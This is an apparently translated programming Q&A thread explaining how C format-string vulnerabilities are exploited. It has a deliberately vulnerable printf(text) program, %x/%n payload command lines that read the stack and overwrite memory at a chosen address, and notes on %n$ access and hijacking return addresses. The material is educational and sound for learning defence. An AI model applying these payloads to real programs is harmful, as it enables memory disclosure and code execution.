如何利用Format-String漏洞?

Atu*_*yal 64 c security format-string

我正在阅读代码中的漏洞,并遇到了这个Format-String漏洞.

维基百科说:

当程序员希望打印包含用户提供的数据的字符串时,最常出现格式化字符串错误.程序员可能会错误地写printf(缓冲区)而不是printf("%s",缓冲区).第一个版本将缓冲区解释为格式字符串,并解析它可能包含的任何格式化指令.第二个版本只是按照程序员的意图将字符串打印到屏幕上.

我遇到了printf(缓冲区)版本的问题,但我仍然没有得到攻击者如何使用此漏洞来执行有害代码.有人可以告诉我一个例子如何利用这个漏洞?

Mic*_*kis 96

您可以直接或间接地以多种方式利用格式字符串漏洞.让我们使用以下作为示例(假设没有相关的操作系统保护,这是非常罕见的):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}
Run Code Online (Sandbox Code Playgroud)

此漏洞的基础是具有可变参数的函数的行为.实现处理可变数量参数的函数必须从堆栈中读取它们.如果我们指定一个格式字符串,它将使printf()堆栈上有两个整数,并且我们只提供一个参数,那么第二个参数必须是堆栈中的其他参数.通过扩展,如果我们可以控制格式字符串,我们可以拥有两个最基本的原语:


从任意内存地址读取

[编辑] 重要提示:我在这里对堆栈框架布局做了一些假设.如果您了解漏洞背后的基本前提,则可以忽略它们,并且它们在操作系统,平台,程序和配置方面各不相同.

可以使用%sformat参数来读取数据.您可以读取原始格式字符串的数据printf(text),因此您可以使用它来读取堆栈中的任何内容:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Run Code Online (Sandbox Code Playgroud)

写入任意内存地址

您可以使用%n格式说明符(几乎)写入任意地址.再说一次,让我们假设我们上面的易受攻击的程序,让我们尝试更改some_value位于的位置0x08049794,如上所示:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
Run Code Online (Sandbox Code Playgroud)

我们some_value用在%n遇到说明符之前写入的字节数覆盖了(man printf).我们可以使用格式字符串本身或字段宽度来控制此值:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
Run Code Online (Sandbox Code Playgroud)

有许多可能性和技巧可以尝试(直接参数访问,大场宽度使环绕可能,建立自己的原语),这只是触及冰山一角.我建议阅读更多关于fmt字符串漏洞的文章(Phrack有一些非常优秀的文章,虽然它们可能有点先进)或一本涉及该主题的书.


免责声明:这些例子来自Jon Erickson 的" Hacking:剥削艺术"(第2版)一书[虽然不是逐字逐句] .

  • ?? ?? 打印becuase $(printf"\ x94\x97\x04\x08")将尝试将这些值转换为字符.因为这些值不是可打印的字符,您的终端会打印一个?代替.(尝试printf"\ x41\x42\x43\x44",将打印ABCD,因为这些是有效的ascii值) (4认同)
  • 嗨,我想知道`$(printf“ \ x94 \ x97 \ x04 \ x08”)%08x。%08x。%08x。%n是如何工作的?为什么是 ”??” 整个前面都打印出来了吗?它是如何到达内存地址0x09049794的?非常感谢 (2认同)

Jon*_*ler 16

有趣的是,没有人提到n$过POSIX支持的符号.如果您可以将格式字符串控制为攻击者,则可以使用以下符号:

"%200$p"
Run Code Online (Sandbox Code Playgroud)

读取堆栈上的第200 项目(如果有的话).目的是你应该列出n$从1到最大的所有数字,它提供了一种重新排序参数如何出现在格式字符串中的方法,这在处理I18N(L10N,G11N,M18N *)时很方便.

但是,一些(可能是大多数)系统在如何验证n$值方面有些缺乏实用性,这可能导致可以控制格式字符串的攻击者滥用.结合%n格式说明符,这可能导致在指针位置写入.


* I18N,L10N,G11N和M18N的首字母缩略词分别用于国际化,本地化,全球化和多国化.数字表示省略的字母数.


Meh*_*dad 9

啊,答案在文章中!

不受控制的格式字符串是一种在1999年左右发现的软件漏洞,可用于安全漏洞.以前认为无害的格式字符串漏洞可用于崩溃程序执行有害代码.

典型的漏洞使用这些技术的组合来强制程序用指向某些恶意shellcode的指针覆盖库函数的地址或堆栈上的返回地址.格式说明符的填充参数用于控制输出的字节数,%x令牌用于从栈中弹出字节,直到达到格式字符串本身的开头.格式字符串的开始精雕细琢包含地址%n格式令牌可以用恶意代码执行的地址覆盖.

这是因为%n 起因printf数据到一个变量,它是在堆栈中.但这意味着它可以任意写入某些内容.你只需要有人使用那个变量(如果碰巧是一个函数指针就相对容易了,你只想知道如何控制它的值)它们可以让你任意执行任何东西.

看一下文章中的链接; 他们看起来有趣.